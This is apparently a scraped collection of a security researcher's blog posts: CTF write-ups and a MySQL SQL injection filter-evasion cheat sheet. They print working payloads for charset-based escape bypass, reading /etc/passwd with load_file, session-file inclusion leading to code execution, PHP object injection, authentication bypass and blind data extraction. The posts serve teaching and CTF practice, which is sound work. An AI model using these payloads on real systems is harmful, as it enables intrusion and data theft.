Sie sind auf Seite 1von 34

Secuinside CTF writeup SQLgeek June 12, 2012 Last weekend we participated at secuinside ctf.

Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and acco rding to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The sourc e code of the PHP application was given and the challenge required 3 tasks. PHP s magic_quotes_gpc was enabled. 1. SQL Injection First I looked at the given source code without playing with the complicated app lication. Line 409 and following was eye-catching because some SQL filtering was going on. 409 410 411 412 413 414 415 416 417 418 419 420 421 if($_GET[view]) { $_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr'); if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) exit("Access Denied"); if(strlen($_GET[view])>17) exit("Access Denied"); $q=mysql_fetch_array(mysql_query("select * from challenge5 where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'")); ... echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q [luc]</td></tr>"); } Even more interesting was line 411, where the input GET parameter view was conve rted to a korean charset before embedding it into the SQL query in line 418. Thi s leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets. Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\ ) and by converting thi s to the charset euc-kr the valid multibyte %bf%5c in this charset will be conve rted to one korean symbol leaving the trailing single quote %27 unescaped. Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead inject ing a single quote to break the ip column value in the WHERE clause I extended t he value by supplying a backslash with the same trick explained above: /index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf% 5C%5C and after the call of mb_convert_encoding it left a korean character and a n unescaped backslash that got injected to the SQL query: 418 where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'")); My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter: /index.php?view=%bf%5C &stat=+union+select+1,user(),version(),4,5,6,7--+Interestingly the MySQL user was root. So it was very likely to have the FILE pr ivilege to read files: /index.php?view=%bf%5C &stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7 --+Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given: /var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php 2. Local File Inclusion If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.ph p was like the following: 1 2 3 4 5 6 7 8 9 10 <?php session_start(); if(eregi('[0-9]', $_SESSION['PHPSESSID'])) exit; if(eregi('/|\.', $_SESSION['PHPSESSID'])) exit; include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']); ?> Now first of all the same session is shared between the index.php and the ReADDD DDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) a nd a value (normally md5) that is submitted by the cookie parameter PHPSESSID. I n this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumeri cal charset). However, this does not set the $_SESSION array key PHPSESSID to th e same value. Having a look again at the source code of the main application index.php I found the following lines right at the top: 1 2

3 4 <? @session_start(); include "conn.php"; extract($_GET); ?> The extract function that is called in line 3 simulates the dangerous register_g lobals PHP setting allowing to register global variables through input parameter s. We can abuse this to set our own $_SESSION key PHPSESSID with the following G ET request: /index.php?_SESSION[PHPSESSID]=reiners Cookie: PHPSESSID=reiners Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored: PHPSESSID|s:7:"reiners"; If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in li ne 9 bypassing the the filter for numerical characters in line 4. To execute arb itrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file: /index.php?_SESSION[PHPSESSID]=reiners &_SESSION[CODE]=<?print_r(glob(chr(42)))?> Cookie: PHPSESSID=reiners This PHP code will list all files in the current directory. I encoded the * beca use magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which print ed: Array ( [0] => ReADDDDDDD______MEEEEEEEEEEEEE.php [1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps [2] => conn.php [3] => images [4] => index.php [5] => index.phps [6] => passwordddddddddddddddd.php [7] => passwordddddddddddddddd.phps [8] => readme )"; 3. Race condition Another PHP file was revealed and the source code was given in passwordddddddddd dddddd.phps: 1 2 3 4 5 6 7 <? system("echo '????' > readme/ppppaassssswordddd.txt"); ?> <h1><a href=passwordddddddddddddddd.phps>source</a></h1>

<? system("rm -f readme/ppppaassssswordddd.txt"); ?> Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy ;) The re adme/ppppaassssswordddd.txt also did not already exist. So I had to solve the race condition. Here I have just a bit of a second to fetc h the ppppaassssswordddd.txt with the flag that is created in line 2 before it g ets deleted in line 6 again. Lets check if we can use this tiny time window. I i njected the following PHP code in my session file as described in stage 2: 1 2 3 4 5 <?php while(!($a=file_get_contents( chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).c hr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).ch r(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).ch r(120).chr(116)) )){}print_r($a) ?> It simply loops endless until the variable $a is successfully filled with the fi le content of the readme/ppppaassssswordddd.txt file (file name encoded again be cause magic_quotes_gpc avoided quotes to form strings). Then I visited the scrip t ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my P HP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immed iatly delete it. To my surprise only one visit was needed so that the hanging Re ADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag: bef6d0c8cd65319749d1ecbcf7a349c0 A very nice challenge with several steps, thank you to the author! If you have solved the binaries I would love to see some writeups about them :) update: BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until t he first output, thus not deleting the flag file. You can find more details abou t this behaviour here. 6 Comments | CTF, PHP, SQLi, Web Security | Tagged: euc-kr, file inclusion , php, race condition, session, SQLi | Permalink Posted by Reiners Blind SQLi techniques April 6, 2011 In this quick post I want to collect some cool blind SQLi techniques I recently read about. I will keep this list updated as soon as I find new stuff. For me it is nice to have a list of these techniques online and a lot of visitors are int erested in SQLi as well, so I thought I share it ;) If you don t know what blind S QLi is all about I recommend starting with this article about basic statistical approaches for efficient data extraction.

You can extract data more efficiently and thus safe requests and time by using t he following techniques: extracting extracting extracting extracting extracting data data data data data with bit shifting with find_in_set with find_in_set and regexp (also here) through mysql errors through mysql errors (more reliable)

update 24.7.11: I just found out that the neat XML parsing function extractvalue includes invalid XML into error messages and can be used as a side channel for data extraction or conditional errors: 1 2 3 4 5 6 SELECT extractvalue(1,concat(0x2e,(SELECT @@version))); XPATH syntax error: '5.1.36-community-log' or SELECT updatexml(1,concat(0x2e,(SELECT @@version)),1); XPATH syntax error: '5.1.36-community-log' (also published here) If you know any other clever techniques please leave a comment. 16 Comments | SQLi, Web Security | Permalink Posted by Reiners SQLi filter evasion cheat sheet (MySQL) December 4, 2010 This week I presented my experiences in SQLi filter evasion techniques that I ha ve gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conferen ce. You can find the slides here. For a quicker reference you can use the follow ing cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks). Basic filter Comments or 1=1# or 1=1 or 1=1/* (MySQL < 5.1) ' or 1=1;%00 ' or 1=1 union select 1,2 as ` ' or#newline 1='1 ' or -newline 1='1 ' /*!50000or*/1='1 ' /*!or*/1='1 Prefixes + ~ ! or +2=- -!!! 2 Operators

^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, R LIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINAR Y, BETWEEN, ISNULL Whitespaces %20 %09 %0a %0b %0c %0d %a0 /**/ or+(1)sounds/**/like 1 %a0union(select(1),tabe_name,(3)from`information_schema`.`tables`)# Strings with quotes SELECT a SELECT a SELECT n a SELECT b 1100001' SELECT _binary 1100001' SELECT x 61' Strings without quotes abc = 0616263 Aliases select pass as alias from users select pass aliasalias from users select pass`alias alias`from users Typecasting or true = 1 # or 1=1 or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1 or 1 # or true Compare operator typecasting select * from users where a ='b ='c select * from users where ( a ='b )= c select * from users where (false)= c select * from users where (0)= c select * from users where (0)=0 select * from users where true select * from users Authentication bypass = select * from users where select * from users where select * from users where select * from users where select * from users Authentication bypass select * from users where select * from users where select * from users where select * from users where select * from users Function filter General function filtering ascii (97) load_file/*foo*/(0616263) Strings with functions abc = unhex(616263) name = = false = 0 = 0 true

name = name = 0-0 0 = 0 true

abc = char(97,98,99) hex( a ) = 61 ascii( a ) = 97 ord( a ) = 97 ABC = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36)) Strings extracted from gadgets collation(\N) // binary collation(user()) // utf8_general_ci @@time_format // %H:%i:%s @@binlog_format // MIXED @@version_comment // MySQL Community Server (GPL) dayname(from_days(401)) // Monday dayname(from_days(403)) // Wednesday monthname(from_days(690)) // November monthname(from_unixtime(1)) // January collation(convert((1)using/**/koi8r)) // koi8r_general_ci (select(collation_name)from(information_schema.collations)where(id)=2) // latin2 _czech_cs Special characters extracted from gadgets aes_encrypt(1,12) // 4h{? ^cHEa des_encrypt(1,2) // G/k @@ft_boolean_syntax // + -><()~*:""&| @@date_format // %Y-%m-%d @@innodb_log_group_home_dir // .\ Integer representations false: 0 true: 1 true+true: 2 floor(pi()): 3 ceil(pi()): 4 floor(version()): 5 ceil(version()): 6 ceil(pi()+pi()): 7 floor(version()+pi()): 8 floor(pi()*pi()): 9 ceil(pi()*pi()): 10 concat(true,true): 11 ceil(pi()*pi())+true: 11 ceil(pi()+pi()+version()): 12 floor(pi()*pi()+pi()): 13 ceil(pi()*pi()+pi()): 14 ceil(pi()*pi()+version()): 15 floor(pi()*version()): 16 ceil(pi()*version()): 17 ceil(pi()*version())+true: 18 floor((pi()+pi())*pi()): 19 ceil((pi()+pi())*pi()): 20 ceil(ceil(pi())*version()): 21 concat(true+true,true): 21 ceil(pi()*ceil(pi()+pi())): 22 ceil((pi()+ceil(pi()))*pi()): 23 ceil(pi())*ceil(version()): 24 floor(pi()*(version()+pi())): 25 floor(version()*version()): 26 ceil(version()*version()): 27 ceil(pi()*pi()*pi()-pi()): 28 floor(pi()*pi()*floor(pi())): 29

ceil(pi()*pi()*floor(pi())): 30 concat(floor(pi()),false): 30 floor(pi()*pi()*pi()): 31 ceil(pi()*pi()*pi()): 32 ceil(pi()*pi()*pi())+true: 33 ceil(pow(pi(),pi())-pi()): 34 ceil(pi()*pi()*pi()+pi()): 35 floor(pow(pi(),pi())): 36 @@new: 0 @@log_bin: 1 !pi(): 0 !!pi(): 1 true-~true: 3 log(-cos(pi())): 0 -cos(pi()): 1 coercibility(user()): 3 coercibility(now()): 4 minute(now()) hour(now()) day(now()) week(now()) month(now()) year(now()) quarter(now()) year(@@timestamp) crc32(true) Extract substrings substr( abc ,1,1) = a substr( abc from 1 for 1) = a substring( abc ,1,1) = a substring( abc from 1 for 1) = a mid( abc ,1,1) = a mid( abc from 1 for 1) = a lpad( abc ,1,space(1)) = a rpad( abc ,1,space(1)) = a left( abc ,1) = a reverse(right(reverse( abc ),1)) = a insert(insert( abc ,1,0,space(0)),2,222,space(0)) = space(0) = trim(version()from(version())) Search substrings locate( a ,'abc ) position( a ,'abc ) position( a IN abc ) instr( abc ,'a ) substring_index( ab ,'b ,1) Cut substrings length(trim(leading a FROM abc )) length(replace( abc , a , )) Compare strings strcmp( a ,'a ) mod( a ,'a ) find_in_set( a ,'a ) field( a ,'a )

count(concat( a ,'a )) String length length() bit_length() char_length() octet_length() bit_count() String case ucase lcase lower upper password( a ) != password( A ) old_password( a ) != old_password( A ) md5( a ) != md5( A ) sha( a ) != sha( A ) aes_encrypt( a ) != aes_encrypt( A ) des_encrypt( a ) != des_encrypt( A ) Keyword filter Connected keyword filtering (0)union(select(table_name),column_name, 0/**/union/*!50000select*/table_name`foo`/**/ 0%a0union%a0select%09group_concat(table_name) . 0'union all select all`table_name`foo from`information_schema`. `tables` OR, AND ||1= 1 &&1= 1 = OR, AND, UNION and (select pass from users limit 1)= secret OR, AND, UNION, LIMIT and (select pass from users where id =1)= a OR, AND, UNION, LIMIT, WHERE and (select pass from users group by id having id = 1)= a OR, AND, UNION, LIMIT, WHERE, GROUP and length((select pass from users having substr(pass,1,1)= a')) OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING and (select substr(group_concat(pass),1,1) from users)= a and substr((select max(pass) from users),1,1)= a and substr((select max(replace(pass, lastpw , )) from users),1,1)= a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT and substr(load_file( file ),locate( DocumentRoot ,(load_file( file )))+length( DocumentRoo 0)= a = into outfile /var/www/dump.txt OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE procedure analyse()# -if(name= Admin ,1,0)# -if(if(name= Admin ,1,0),if(substr(pass,1,1)= a',1,0),0)#

Control flow case a when a then 1 [else 0] end case when a ='a then 1 [else 0] end if( a ='a ,1,0) ifnull(nullif( a ,'a ),1) If you have any other useful tricks I forgot to list here please leave a comment . 35 Comments | SQLi, Web Security | Tagged: cheat sheet, cheatsheet, SQL f ilter bypass, SQL filter evasion, SQL obfuscation | Permalink Posted by Reiners hack.lu CTF challenge 21 writeup PIGS October 30, 2010 This week we organized the Capture-The-Flag contest for the hack.lu conference i n Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. Th e big topic was pirates . Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups. In challenge 21 the players were given a website of a criminal pirate organizati on stealing gold. The task was to hack the website and to find out, how much gol d the leader Jack has stolen so far. In the Support us area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ign ored. However there is a hint in the text: Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file. Also 10 different flags on top of the site menu show which languages are support ed. How are those languages detected automatically? By the Accept-Language-heade r your browser sends automatically. You can verify this by sending different hea der values (I prefer using Live HTTP Headers). In example Accept-Language: es wi ll show the website with spanish text. The quote shown above also reveals that the website uses language files. Also se nding a unsupported language in the header leads to the following error: Accept-Language: foobar Language (foobar) not available. Switching to default (en). We know that the website fetches the text from files. Lets try a path traversal: Accept-Language: index.php Language (index.php) not available. Switching to default (en). Accept-Language: ../index.php Could not import language data from <?php ..code.. ?>

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code. The source code reveals, that there is a hidden ?id=17 displaying the admin logi n interface. Behind this interface the current gold status of the logged in capt

ain is shown. The task is to find out captain Jack s gold status so we need to log in as Jack . Lets see how we can accomplish that. The file worker/funcs.php reveals how the language files work. Basically all lan guage data is stored serialized in files. Those language files are stored in mes sages/. Each language file also has to have the serialized variable $secretkey s et to p1r4t3s.k1lly0u to pass the check if the file is signed. Then, all data is u nserialized and assigned to the global array $messages which will be used to dis play the text throughout the website. Now we know the key to sign we can upload our own files. To create a valid seria lized file we can simply use the following php code: 1 2 3 4 <?php $messages = array("secretkey" => "p1r4t3s.k1lly0u"); echo serialize($messages); ?> which will give you: 1 a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} You can also write this down manually (small introduction to serialize syntax): a:1: create array with 1 element {: array start s:9: secretkey : array key: string with 9 characters s:15: p1r4t3s.k1lly0u : array value: string with 15 characters }: array end However we can not directly browse to messages/ because we get a 403 forbidden f or this path. Uploading a signed php file with php code (php shell) within the s erialized strings will not work here. Investigating the object-oriented code in worker/mysql.php shows how the databas e queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved fun ction __wakeup() and later destroyed with the reserved function __destruct(). On e can see that when the function __destruct() is triggered, the function sql_clo se() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated. 1 2 3 4 5 6 7 8 9 10 11 12 13 14

15 16 17 18 19 20 21 function __destruct() { $this->sql_close(); } function sql_close() { [...] $this->createLog(); [...] } function createLog() { $ip = $this->escape($_SERVER['REMOTE_ADDR']); $lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']); $agent = $this->escape($_SERVER['HTTP_USER_AGENT']); $log_table = $this->escape($this->log_table); $query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent ')"; $this->sql_query($query); } So every request will be logged into the table that the current sql_db object ha s been initialized with (logs) during the constructor call sql_db(). The inserte d values are all escaped correctly, so no SQL injection here. Or maybe there is? The function __destruct() of every instanced object is called once the php inter preter has finished parsing a requested php file. In PIGS for every request an o bject of sql_db is created and after the php file has been parsed the __destruct () function is called automatically. Then, the function sql_close() is called wh ich calls the function createLog(). When uploading a language file that contains a serialized sql_db object this obj ect will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. B ecause this locale variable can be altered in the serialized string uploaded wit h the file, SQL injection is possible. To trigger the vulnerability we create a signed language file with the key and w ith a sql_db object that has an altered log_table. Since we need to login as use r Jack we simply abuse the INSERT query of the createLog() function to insert anot her user Jack with password bla to the users table: 1 2 3 INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent') $log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become: 1 INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent') which will insert the specified values into the table users. The table name is e scaped before used in the query, however a table name is never surrounded by quo tes so that an injection is still possible. We simply avoid quotes with the mysq l hex representation of strings. To build the serialized string we can instantia te a modified sql_db object ourselves and serialize it. The mysql connection cre dentials can be read from the leaked source code files. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class sql_db { var $query_result; var $row = array(); var $rowset = array(); var $num_queries = 0; function sql_db() { $this->persistency = false; $this->user = 'pigs'; $this->password = 'pigs'; $this->server = 'localhost'; $this->dbname = 'pigs'; $this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -"; }

} $db = new sql_db(); $payload = array ( 'secretkey' => 'p1r4t3s.k1lly0u', $db ); echo serialize($payload); ?> Now we can simply save the serialized payload into a file and upload it. 1 a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_res ult";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persisten cy";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localh ost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}} The language file will successfully pass the key-check and the language data wil l be unserialized. Then the sql_db object will be created with the modified log_ table variable. Finally the __destruct() function is called automatically and th e log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user Jack . Now we can login into the admin inter face with our user Jack and the password bla . Then the function printGold() is calle d for the username that has been used during the successful login. 1 2 3 4 5 6 7 8 9 10 11 12 function printGold() { global $db; $name = $db->escape($_POST['name']); $result = $db->sql_query("SELECT gold FROM users WHERE name='$name'"); if($db->sql_numrows($result) > 0) { $row = $db->sql_fetchrow($result); echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']); } } The first matching account with the user Jack will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 39872035114 9 This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser s piwik exploit it should have been stra

ight forward once you could download the source code. Funnily I have seen one te am exploiting the SQL injection blindly ;) Update: there is another writeup for this challenge in french available here 1 Comment | CTF, PHP, SQLi, Web Security | Tagged: php, unserialize, __de struct | Permalink Posted by Reiners Blind SQL injection with load_file() October 1, 2010 Currently I am working a lot on RIPS but here is a small blogpost about a techni que I thought about lately and wanted to share. While participating at the smpCTF I came across a blind SQL injection in level 2 . After solving the challenge I checked for the FILE privilege: 1 /level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.us er_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/** /0x25726F6F7425/**/limit/**/1)=0x59 Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file () worked at all and tried to read /etc/passwd: 1 /level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764)) Since the webpage with id=1 was displayed the and condition must have been evalu ated to true which means that the file could be read (load_file() returns null i f the file can not be read). Before reading the PHP files I needed to find the w ebserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $paths = array( "/etc/passwd", "/etc/init.d/apache/httpd.conf", "/etc/init.d/apache2/httpd.conf", "/etc/httpd/httpd.conf", "/etc/httpd/conf/httpd.conf", "/etc/apache/apache.conf",

"/etc/apache/httpd.conf", "/etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/local/apache2/conf/httpd.conf", "/usr/local/apache/conf/httpd.conf", "/opt/apache/conf/httpd.conf", "/home/apache/httpd.conf", "/home/apache/conf/httpd.conf", "/etc/apache2/sites-available/default", "/etc/apache2/vhosts.d/default_vhost.include"); update: There is an official list for Apache. Very useful. Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealin g that this file existed and could be read. Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. S ince the length of the file was more than 10000 chars this would have taken way too long. I decided to give little shots at the configuration file trying to hit the Docum entRoot setting or a comment nearby that identifies my current position. Each sh ot bruteforced 10 alphanumerical characters: 1 /level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E 636F6E66)),$k,1)=0x$char I compared the few bruteforced characters to a known apache configuration file t rying to map the characters to a common configuration comment. This worked for m ost of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I brutefor ced only alphanumerical strings to save time. For example the bruteforced string dulesthoselisted could be mapped to the comment modules (those listed by `httpd -l ) and so on. After the 10th shot I luckily hit the DocumentRoot setting comment at offset 746 7 and after this it was possible to calculate the correct offset for the beginni ng of the DocumentRoot setting and I could retrieve srvhttpdhtdocs (DocumentRoot: /srv/httpd/htdocs/). While that worked fine during the hectics of the CTF and was better than a brute force on the whole configuration file, I thought about it again yesterday and th ought that this technique was plain stupid ;) . If you know what you are looking for in a file (and mostly you do) you can easil y find the correct offset with LOCATE(substr,str[,pos]) which will return the of fset of a given substring found in a string. The following query instantly retur ns the next 10 characters after the DocumentRoot setting: 1 substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('Docu mentRoot'),10) and can then be bruteforced easily: 1 mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+le ngth('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when readin g files blindly. 6 Comments | SQLi, Web Security | Tagged: load_file, mysql ink Posted by Reiners Exploiting hard filtered SQL Injections 3 May 26, 2010 | Permal

This is a follow-up post of the first edition of Exploiting hard filtered SQL In jections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again. Last month I was invited to Madrid to participate at the Campus Party CTF organi zed by SecurityByDefault. Of course I was mainly interested in the web applicati on challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardes t webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I p romised to do a little writeup on this. The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id s specified by the user one could see different news articles whi le a SQL error resulted in no article being displayed. The filter was like the ba sic keyword filter I already introduced here with additional filtering for SQL co mments: 1 2 3 4 5 6 7 8 9 10 if(preg_match('/\s/', $id)) exit('attack'); // no whitespaces if(preg_match('/[\'"]/', $id)) exit('attack'); // no quotes if(preg_match('/[\/\\\\]/', $id)) exit('attack'); // no slashes if(preg_match('/(and|null|where|limit)/i', $id)) exit('attack'); // no sqli keywords if(preg_match('/(--|#|\/\*)/', $id)) exit('attack'); // no sqli comments The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace. 1 ?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information _schema.tables;%00 However no UNION SELECT worked, I had no FILE PRIV and guessing the table and co lumn names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN: 1

?id=(case(substr((select(group_concat(table_name))from(information_schema.tables )),1,1))when(0x61)then(1)else(2)end) The news article with id=1 is shown when the first letter of all concated table names is a , otherwise news article with id=2 is shown. As stated in my last post the output of group_concat() is limited to 1024 charac ters by default. This is sufficient to retrieve all table names because all defa ult table names concated have a small length and there is enough space left for custom tables. However the length of all standard columns is a couple of thousands characters l ong and therefore reading all column names with group_concat() is not easily pos sible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *. Usually, the goal is to SELECT column names only from a specific table to make t he result length smaller than 1024 characters. In case WHERE and LIMIT is filter ed I presented a WHERE alternative in the first part: 1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)h aving((table_name)like(0x7573657273)))# Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwi se the error Unknown column table_name in having clause would occur). In a subSELECT you cannot select from more than one column and this is where I struggled durin g the challenge. The easiest way would have been to use GROUP BY with %a0 as del imiter: 1 ?id=(case(substr((select(group_concat(column_name))from(information_schema.colum ns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1, 1))when(0x61)then(1)else(2)end) But what I tried to do is to find a way around the limiting 1024 character of gr oup_concat(). Lets assume the keywords group and having are filtered also ;) First I checked the total amount of all columns: 1 ?id=if((select(count(*))from(information_schema.columns))=187,1,2) Compared to newer MySQL versions the amount of 187 was relatively small (my loca l MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0). Now the idea was to only concatenate the first few characters of each column_nam e to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstr ucted. So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024: 1 5 characters * 187 column_names = 935 characters Well thats not correct yet, because we have to add the commas group_concat() add s between each column. That is additional 186 characters which exceeds the maxim um length of 1024. So we take only 4 characters per column_name: 1

4 characters * 187 column_name + 186 commas = 934 characters The injection looked like this: 1 ?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_ schema.columns)),1,1))when(0x61)then(1)else(2)end) To avoid finding the right offset where the user tables starts I began to extrac t column name by column name from the end, until I identified columns of the def ault mysql database (a local mysql setup helps a lot). I think the following graphic helps to get a better idea of what I did. The first SELECT shows a usual group_concat() on all column names (red blocks wi th different length) that misses the columns from user-created tables that appea r at the end of the block list. The second query concatenates only the first 4 characters (blue) of every name t o make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query). Each string of concatenated substrings can be read char by char to reconstruct t he column names (last query). It gets a bit tricky when the offsets change while reading the second or third b lock of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script aut omated the process and saved some time. Although this approach was way to compli cated to solve this challenge, I learned a lot ;) In the end I ranked 2nd in the competition. I would like to thank again Security ByDefault for the fun and challenging contest, especially Miguel for the SQLi ch allenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges). By the way the regex filters presented in the last posts are not only for fun an d challenges: I have seen widely used community software using (bypassable) filt ers like these. * Note that the exact concated length and amount of columns and tables depends o n your MySQL version. Generally the higher your version is, the more column name s are available and the longer is the concated string. You can use the following queries to check it out yourself: 1 2 select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql' select sum(length(column_name)) from information_schema.columns where table_sche ma = 'information_schema' or table_schema='mysql' More: Part 1, Part2, SQLi filter evasion cheatsheet 16 Comments | SQLi, Web Security | Tagged: SQL filter bypass, SQL filter evasion, SQL obfuscation | Permalink Posted by Reiners Exploiting hard filtered SQL Injections 2 (conditional errors) May 7, 2010 This is a addition to my last post about Exploiting hard filtered SQL Injections . I recommend reading it to understand some basic filter evasion techniques. In

